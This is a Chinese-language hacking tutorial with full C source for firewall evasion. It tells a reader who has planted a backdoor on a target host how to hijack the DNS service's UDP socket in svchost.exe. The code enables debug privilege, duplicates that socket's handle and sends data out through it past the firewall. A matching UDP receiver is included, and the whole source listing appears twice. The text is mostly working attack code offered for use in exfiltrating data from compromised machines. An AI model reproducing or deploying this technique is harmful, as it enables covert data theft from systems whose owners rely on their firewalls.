穿透防火墙的数据传输方法(附源码)
通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到一些不大不小的麻烦。如果为我们自己的进程开一个端口(甚至是新建套接字),那么大部分的防火墙都会将其拦截。有什么方法能"穿透"这些防火墙呢?
下面我为您介绍一种"洞穿"防火墙小规模传输重要数据的方法。不过,不推荐您在其它情况下使用该方法。
其实我的思路很简单,既然防火墙会拦截未验证进程而放行已验证进程的数据传输,那我们就将其它进程中允许数据传输的套接字句柄拿为已用。具体过程如下:
1、找出目标进程;
2、找出SOCKET句柄;
2、用DuplicateHandle()函数将其SOCKET转换为能被自己使用;
3、用转换后的SOCKET进行数据传输。
上面的过程写的很简单,但是实现起来还存在一些问题(后面再做讨论)。另外,从上面的实现方法中也可以看到一些很难控制的地方,比如在目标进程的SOCKET不能是TCP,只能是UDP,因为TCP的句柄已经跟外面建立了连接。同时,针对不同系统不同进程我们也很难定位一个稳定的进程SOCKET。
看到这么多"麻烦",你有点泄气了对不对?不要着急,再想一想,其实我们有一条真正通向罗马的"黄金大道"。我们都知道只要一台计算机联上了网络,那么有一种数据传输是肯定不会被拦截的,不错,就是DNS!你能想像域名解析数据都被拦截所造成的后果吗?既然DNS是不会被拦的,而且它又是UDP传输,我们就从它"开刀"。
本文为您提供了一个通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子。查看详细源代码见附件1。
需要说明的是,在实际编程中出现了很多问题,比如说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE)、在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请您仔细阅读源代码中的注释部分。
最后,我们可以再用测试代码(附件2)看看效果。测试步骤:
1、在一台机器上执行UdpReceiver;
2、在安装防火墙的机器上执行第一个程序。
小结:在本例的源代码中,因为要在多个svchost.exe进程中找出DNS进程句柄,所以通过用户名进行判断。其实本来是计划采用OpenProcessToken的,但在编程中发现始终不能实现,只好换了方法。例子中还用到了wtsapi32库函数。
源代码部分:
附件1:
======================================================
/*++
  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;
    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;
LocateNtdllEntry_exit:
    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
    // sanity checks and default value
    if (pUserSid == NULL)
        return false;
    strcpy(szUserName, "?");
    SID_NAME_USE   snu;
    TCHAR          szUser[_MAX_PATH];
    DWORD          chUser = _MAX_PATH;
    PDWORD         pcchUser = &chUser; 
    TCHAR          szDomain[_MAX_PATH];
    DWORD          chDomain = _MAX_PATH;
    PDWORD         pcchDomain = &chDomain;
    // Retrieve user name and domain name based on user's SID.
    if (
        ::LookupAccountSid(
        NULL, 
        pUserSid, 
        szUser, 
        pcchUser, 
        szDomain, 
        pcchDomain, 
        &snu
        )
        )
    {
        wsprintf(szUserName, "%s", szUser);
    }
    else
    {
        return false;
    }
    return true;
}  
/*++
This routine is used to get the DNS process's Id
  
Here, I use WTSEnumerateProcesses to get process user Sid, 
and then get the process user name. Beacause as it's a "NETWORK SERVICE", 
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    char              szUserName[255];
    DWORD              Id = -1;
    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {
            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
            {
                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
                if( strcmp(szUserName, "NETWORK SERVICE") == 0)
                {
                    Id = pProcessInfo[CurrentProcess].ProcessId;
                    break;
                }
            }
        }
        WTSFreeMemory(pProcessInfo);
    }
    return Id;
}
/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
    HANDLE hProcess = NULL, 
            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }
    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }
    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);
    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;
    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return NULL;
    }
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {
            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c ) 
                && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                            // So I jump over this situation... 
                                            // May be it's different in your system, 
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
                if( 0 == DuplicateHandle(
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), 
                    (HANDLE)h_info[i].Handle, 
                    GetCurrentProcess(), 
                    &sock, 
                    STANDARD_RIGHTS_REQUIRED, 
                    true, 
                    DUPLICATE_SAME_ACCESS)
                    )
                {
                    printf("DuplicateHandle wrong:%8x", GetLastError());
                    continue;
                }
                //printf("DuplicateHandle ok\n");
                sockaddr_in name = {0};
                name.sin_family = AF_INET;
                int namelen = sizeof(sockaddr_in);
                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                //printf("PORT=%5d\n",    ntohs( name.sin_port )); 
                if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it
                    break;
            }
        }
        catch(...)
        {
            continue;
        }
    }
    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
        );
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
        );
    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
        );
rv = GetLastError () == ERROR_SUCCESS;
    CloseHandle (hToken);
    return rv;
}
void main() 
{
    WSADATA wsaData;
    char    testbuf[255];
    SOCKET    sock;
    sockaddr_in RecvAddr;
    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        printf("Error at WSAStartup()\n");
    if(!LocateNtdllEntry())
        return;
    if(!EnablePrivilege (SE_DEBUG_NAME))
    {
        printf("EnablePrivilege wrong\n");
        return;
    }
    sock = GetSocketFromId(GetDNSProcessId());
    if( sock==NULL)
    {
        printf("GetSocketFromId wrong\n");
        return;
    }
    //Change there value...
    RecvAddr.sin_family = AF_INET;
    RecvAddr.sin_port = htons(5555); 
    RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if(SOCKET_ERROR == sendto(sock, 
            "test", 
            5, 
            0, 
            (SOCKADDR *) &RecvAddr, 
            sizeof(RecvAddr)))
    {
        printf("sendto wrong:%d\n", WSAGetLastError());
    }
    else
    {
        printf("send ok... Have fun, right? ^_^\n");
    }
    
    getchar();
    //WSACleanup();
    return;
}
测试代码部分:
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main() 
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int  BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);
  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);
  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
    recvfrom(RecvSocket, 
        RecvBuf, 
        BufLen, 
        0, 
        (SOCKADDR *)&SenderAddr, 
        &SenderAddrSize);
    printf("%s\n", RecvBuf);
  }
  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);
  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}
附件2:
======================================================
源代码部分:
/*++
  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;
    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;
LocateNtdllEntry_exit:
    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
    // sanity checks and default value
    if (pUserSid == NULL)
        return false;
    strcpy(szUserName, "?");
    SID_NAME_USE   snu;
    TCHAR          szUser[_MAX_PATH];
    DWORD          chUser = _MAX_PATH;
    PDWORD         pcchUser = &chUser; 
    TCHAR          szDomain[_MAX_PATH];
    DWORD          chDomain = _MAX_PATH;
    PDWORD         pcchDomain = &chDomain;
    // Retrieve user name and domain name based on user's SID.
    if (
        ::LookupAccountSid(
        NULL, 
        pUserSid, 
        szUser, 
        pcchUser, 
        szDomain, 
        pcchDomain, 
        &snu
        )
        )
    {
        wsprintf(szUserName, "%s", szUser);
    }
    else
    {
        return false;
    }
    return true;
}  
/*++
This routine is used to get the DNS process's Id
  
Here, I use WTSEnumerateProcesses to get process user Sid, 
and then get the process user name. Beacause as it's a "NETWORK SERVICE", 
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    char              szUserName[255];
    DWORD              Id = -1;
    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {
            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
            {
                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
                if( strcmp(szUserName, "NETWORK SERVICE") == 0)
                {
                    Id = pProcessInfo[CurrentProcess].ProcessId;
                    break;
                }
            }
        }
        WTSFreeMemory(pProcessInfo);
    }
    return Id;
}
/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
    HANDLE hProcess = NULL, 
            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }
    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }
    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);
    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;
    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return NULL;
    }
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {
            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c ) 
                && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                            // So I jump over this situation... 
                                            // May be it's different in your system, 
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
                if( 0 == DuplicateHandle(
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), 
                    (HANDLE)h_info[i].Handle, 
                    GetCurrentProcess(), 
                    &sock, 
                    STANDARD_RIGHTS_REQUIRED, 
                    true, 
                    DUPLICATE_SAME_ACCESS)
                    )
                {
                    printf("DuplicateHandle wrong:%8x", GetLastError());
                    continue;
                }
                //printf("DuplicateHandle ok\n");
                sockaddr_in name = {0};
                name.sin_family = AF_INET;
                int namelen = sizeof(sockaddr_in);
                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                //printf("PORT=%5d\n",    ntohs( name.sin_port )); 
                if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it
                    break;
            }
        }
        catch(...)
        {
            continue;
        }
    }
    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
        );
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
        );
    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
        );
rv = GetLastError () == ERROR_SUCCESS;
    CloseHandle (hToken);
    return rv;
}
void main() 
{
    WSADATA wsaData;
    char    testbuf[255];
    SOCKET    sock;
    sockaddr_in RecvAddr;
    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        printf("Error at WSAStartup()\n");
    if(!LocateNtdllEntry())
        return;
    if(!EnablePrivilege (SE_DEBUG_NAME))
    {
        printf("EnablePrivilege wrong\n");
        return;
    }
    sock = GetSocketFromId(GetDNSProcessId());
    if( sock==NULL)
    {
        printf("GetSocketFromId wrong\n");
        return;
    }
    //Change there value...
    RecvAddr.sin_family = AF_INET;
    RecvAddr.sin_port = htons(5555); 
    RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if(SOCKET_ERROR == sendto(sock, 
            "test", 
            5, 
            0, 
            (SOCKADDR *) &RecvAddr, 
            sizeof(RecvAddr)))
    {
        printf("sendto wrong:%d\n", WSAGetLastError());
    }
    else
    {
        printf("send ok... Have fun, right? ^_^\n");
    }
    
    getchar();
    //WSACleanup();
    return;
}
测试代码部分:
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main() 
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int  BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);
  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);
  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
    recvfrom(RecvSocket, 
        RecvBuf, 
        BufLen, 
        0, 
        (SOCKADDR *)&SenderAddr, 
        &SenderAddrSize);
    printf("%s\n", RecvBuf);
  }
  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);
  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}